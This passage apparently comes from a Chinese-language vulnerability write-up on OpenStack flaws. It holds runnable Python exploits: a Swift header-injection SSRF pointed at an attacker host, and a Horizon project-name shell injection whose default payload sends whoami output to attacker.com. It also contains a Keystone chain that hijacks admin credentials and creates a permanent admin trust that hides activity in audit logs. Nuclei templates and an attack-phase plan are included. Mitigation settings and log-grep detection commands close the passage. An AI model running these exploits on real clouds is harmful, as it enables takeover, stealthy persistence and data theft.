        self.swift_url = swift_url.rstrip('/')
        self.token = token
        self.session = requests.Session()

    def _headers(self):
        return {"X-Auth-Token": self.token}

    def create_container(self, container_name):
        r = self.session.put(
            f"{self.swift_url}/{container_name}",
            headers=self._headers()
        )
        if r.status_code in (201, 202, 204):
            print(f"[+] Container created: {container_name}")
            return True
        print(f"[-] Container creation failed: {r.status_code}")
        return False

    def inject_header_redirect(self, container, obj_name, attacker_host, attacker_port):
        headers = self._headers()
        headers.update({
            "X-Container-Host": f"{attacker_host}:{attacker_port}",
            "X-Container-Device": "1",
            "Content-Type": "application/octet-stream"
        })
        r = self.session.put(
            f"{self.swift_url}/{container}/{obj_name}",
            headers=headers,
            data="SSRF_payload_data"
        )
        print(f"[+] Injected header redirect, status: {r.status_code}")
        return r.status_code

    def inject_ghost_listing(self, container, obj_name, attacker_host, attacker_port):
        headers = self._headers()
        headers.update({
            "X-Object-Manifest": f"{attacker_host}:{attacker_port}/fake/container",
            "Content-Length": "0"
        })
        r = self.session.put(
            f"{self.swift_url}/{container}/{obj_name}",
            headers=headers,
            data=""
        )
        print(f"[+] Ghost listing injected, status: {r.status_code}")
        return r.status_code

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <swift_url> <auth_token> <attacker_host> [attacker_port]")
        sys.exit(1)

    exploit = SwiftHeaderInjectionSSRF(sys.argv[1], sys.argv[2])
    port = int(sys.argv[4]) if len(sys.argv) > 4 else 9999
    exploit.create_container("ssrf_test")
    exploit.inject_header_redirect("ssrf_test", "test.txt", sys.argv[3], port)
    exploit.inject_ghost_listing("ssrf_test", "ghost.txt", sys.argv[3], port)

id: openstack-swift-cve-2026-50221
info:
  name: OpenStack Swift Internal Header SSRF
  author: security-researcher
  severity: medium
  description: |
    Swift proxy-server does not strip internal update headers from
    client requests, enabling SSRF and data exfiltration.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.4
    cwe-id: CWE-918
  metadata:
    product: swift
    vendor: openstack
  tags: openstack,swift,ssrf,header-injection,cve2026

http:
  - raw:
      - |
        PUT /v1/AUTH_test/ssrf_test/testobj HTTP/1.1
        Host: {{Hostname}}
        X-Auth-Token: {{auth_token}}
        X-Container-Host: {{interactsh-url}}
        X-Container-Device: 1

        test

    matchers:
      - type: status
        status:
          - 201
          - 202
          - 204
          - 400

    extractors:
      - type: dsl
        dsl:
          - '"Header injection status: " + status_code'

# Step 1: 创建包含 shell 元字符的恶意项目名
openstack project create 'test; whoami > /tmp/pwned'

# Step 2: 通过 Horizon API 下载该项目的 RC 文件
curl -s -X GET "http://<HORIZON_HOST>/project/api_access/openrc/" \
  -H "X-Auth-Token: <ADMIN_TOKEN>" \
  -d "project=<MALICIOUS_PROJECT_ID>" \
  -o openrc_malicious.sh

# 检查生成的 RC 文件
cat openrc_malicious.sh
# 输出: export OS_PROJECT_NAME="test; whoami > /tmp/pwned"

# Step 3: 模拟用户执行（仅测试环境）
# source openrc_malicious.sh  ← 这将执行 whoami > /tmp/pwned

#!/usr/bin/env python3
import requests
import sys
import re

class HorizonShellInjection:
    def __init__(self, horizon_url, session_cookie=None):
        self.horizon_url = horizon_url.rstrip('/')
        self.session = requests.Session()
        if session_cookie:
            self.session.cookies.set("sessionid", session_cookie)

    def create_malicious_project(self, keystone_url, token, payload_cmd):
        malicious_name = f'test; {payload_cmd}'
        r = self.session.post(
            f"{keystone_url}/v3/projects",
            headers={"X-Auth-Token": token, "Content-Type": "application/json"},
            json={
                "project": {
                    "name": malicious_name,
                    "domain_id": "default",
                    "description": "legit project"
                }
            }
        )
        if r.status_code in (201, 202):
            project_id = r.json().get("project", {}).get("id")
            print(f"[+] Malicious project created: {malicious_name} (ID: {project_id})")
            return project_id
        print(f"[-] Project creation failed: {r.status_code}")
        return None

    def download_rc_file(self, project_id, auth_token):
        r = self.session.get(
            f"{self.horizon_url}/project/api_access/openrc/",
            headers={"X-Auth-Token": auth_token},
            params={"project": project_id}
        )
        if r.status_code == 200:
            rc_content = r.text
            print(f"[+] RC file downloaded ({len(rc_content)} bytes)")
            if any(c in rc_content for c in ["$", "`", ";"]):
                print("[!] WARNING: RC file contains shell metacharacters!")
            lines = [l for l in rc_content.split('\n') if 'OS_PROJECT_NAME' in l]
            for line in lines:
                print(f"    {line.strip()}")
            return rc_content
        print(f"[-] RC download failed: {r.status_code}")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <horizon_url> <keystone_url> <auth_token> [payload_cmd]")
        sys.exit(1)

    cmd = sys.argv[4] if len(sys.argv) > 4 else "curl http://attacker.com/$(whoami)"
    exploit = HorizonShellInjection(sys.argv[1])
    proj_id = exploit.create_malicious_project(sys.argv[2], sys.argv[3], cmd)
    if proj_id:
        exploit.download_rc_file(proj_id, sys.argv[3])

id: openstack-horizon-cve-2026-55748
info:
  name: OpenStack Horizon RC File Shell Injection
  author: security-researcher
  severity: medium
  description: |
    Horizon RC file download embeds project names without escaping,
    allowing shell metacharacter injection when sourced.
  reference:
    - https://security.openstack.org/ossa.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.0
    cwe-id: CWE-78
  metadata:
    product: horizon
    vendor: openstack
  tags: openstack,horizon,shell-injection,cve2026

http:
  - raw:
      - |
        GET /project/api_access/openrc/?project=test HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "OS_PROJECT_NAME"
          - "export"
        condition: and

    extractors:
      - type: regex
        regex:
          - "export OS_PROJECT_NAME=\"(.+?)\""

Phase 1: 侦察
├── 枚举所有应用凭据（可能通过 CVE-2026-42999 获取）
├── 识别管理员用户的应用凭据 ID 和 Secret
└── 获取管理员的 user_id

Phase 2: 冒充（CVE-2026-42998）
├── 使用管理员应用凭据构造认证请求
├── 获取管理员 Token（有效期默认 1 小时）
└── 验证 Token 权限

Phase 3: 持久化（CVE-2026-43000）
├── 使用冒充的管理员 Token 创建 Trust
├── 将攻击者账户设为 Trustee
├── 授予 admin 角色
├── 设置 allow_redelegation=true, expires_at=null
└── 兑换 Trust Token → 永久管理员访问

Phase 4: 隐蔽操作
├── 所有后续操作审计日志显示为 admin_user
├── 可创建新的应用凭据用于日常操作
└── Trust 可随时刷新，无需再次利用漏洞

#!/usr/bin/env python3
import requests
import sys
import json

class KeystoneFullChain:
    def __init__(self, auth_url):
        self.auth_url = auth_url.rstrip('/')
        self.session = requests.Session()

    def app_cred_impersonate(self, app_cred_id, app_cred_secret, target_project_id):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["application_credential"],
                    "application_credential": {
                        "id": app_cred_id,
                        "secret": app_cred_secret
                    }
                },
                "scope": {"project": {"id": target_project_id}}
            }
        }
        r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            user = r.json().get("token", {}).get("user", {})
            roles = [r.get("name") for r in r.json().get("token", {}).get("roles", [])]
            print(f"[+] Impersonated user: {user.get('name')}, roles: {roles}")
            return token
        print(f"[-] Impersonation failed: {r.status_code}")
        return None

    def create_persistent_trust(self, impersonated_token, attacker_user_id):
        payload = {
            "trustee_user_id": attacker_user_id,
            "impersonation": False,
            "remaining_uses": None,
            "allow_redelegation": True,
            "roles": [{"name": "admin"}, {"name": "member"}],
            "expires_at": None
        }
        r = self.session.post(
            f"{self.auth_url}/v3/OS-TRUST/trusts",
            json=payload,
            headers={"X-Auth-Token": impersonated_token, "Content-Type": "application/json"}
        )
        if r.status_code == 201:
            trust = r.json().get("trust", {})
            print(f"[+] Persistent trust created: {trust['id']}")
            return trust["id"]
        print(f"[-] Trust creation failed: {r.status_code} - {r.text[:200]}")
        return None

    def redeem_trust(self, trust_id, trustee_token):
        payload = {
            "auth": {
                "identity": {
                    "methods": ["token"],
                    "token": {"id": trustee_token}
                },
                "OS-TRUST:trust_id": trust_id
            }
        }
        r = self.session.post(f"{self.auth_url}/auth/tokens", json=payload)
        if r.status_code == 201:
            token = r.headers.get("X-Subject-Token")
            roles = [r.get("name") for r in r.json().get("token", {}).get("roles", [])]
            print(f"[+] Trust redeemed, roles: {roles}")
            return token
        print(f"[-] Redemption failed: {r.status_code}")
        return None

    def execute_full_chain(self, app_cred_id, app_cred_secret, target_project_id, attacker_user_id, trustee_token):
        print("[*] === Phase 1: App Credential Impersonation ===")
        admin_token = self.app_cred_impersonate(app_cred_id, app_cred_secret, target_project_id)
        if not admin_token:
            return False

        print("\n[*] === Phase 2: Persistent Trust Creation ===")
        trust_id = self.create_persistent_trust(admin_token, attacker_user_id)
        if not trust_id:
            return False

        print("\n[*] === Phase 3: Trust Redemption ===")
        persistent_token = self.redeem_trust(trust_id, trustee_token)
        if not persistent_token:
            return False

        print("\n[*] === Attack Chain Complete ===")
        print(f"    Trust ID: {trust_id}")
        print(f"    Persistent Token: {persistent_token[:32]}...")
        print("    All future operations will appear as admin_user in audit logs")
        return True

if __name__ == "__main__":
    if len(sys.argv) < 6:
        print(f"Usage: {sys.argv[0]} <auth_url> <app_cred_id> <app_cred_secret> <target_project_id> <attacker_user_id> <attacker_trustee_token>")
        sys.exit(1)

    chain = KeystoneFullChain(sys.argv[1])
    chain.execute_full_chain(sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5], sys.argv[6])

# 1. 禁用或限制应用凭据功能（缓解 CVE-2026-42998, CVE-2026-43000）
# 在 /etc/keystone/keystone.conf 中禁用应用凭据
[application_credential]
disable = True

# 2. 禁用 Ironic 的 send_raw passthru（缓解 CVE-2026-54423）
# 在 /etc/ironic/ironic.conf 中禁用 passthru
[deploy]
send_raw_enabled = false

# 3. 限制 Swift proxy-server 的头接受范围（缓解 CVE-2026-50221）
# 在 /etc/swift/proxy-server.conf 中配置 header 过滤
[filter:sanitize]
use = egg:swift#sanitize
set headers_to_remove = X-Container-Host,X-Container-Device,X-Object-Manifest

# 4. 限制 Horizon 下载 RC 文件的权限（缓解 CVE-2026-55748）
# 仅允许已认证用户下载自己的 RC 文件

# Keystone Token 异常检测
# 监控大量应用凭据认证请求
grep "application_credential" /var/log/keystone/keystone.log | \
  awk '{print $1, $4}' | sort | uniq -c | sort -rn | head -20

# 监控异常 Trust 创建
grep "OS-TRUST/trusts" /var/log/keystone/keystone.log | \
  grep POST | awk '{print $NF}' | sort | uniq -c | sort -rn

# Ironic 异常 IPMI 命令检测
grep "send_raw" /var/log/ironic/ironic-api.log | \
  awk '{print $1, $2, $5}' | sort | uniq -c | sort -rn

# Swift 内部头注入检测
grep -E "X-Container-Host|X-Object-Manifest" /var/log/swift/proxy-server.log

# Horizon RC 文件下载审计
grep "api_access/openrc" /var/log/horizon/horizon.log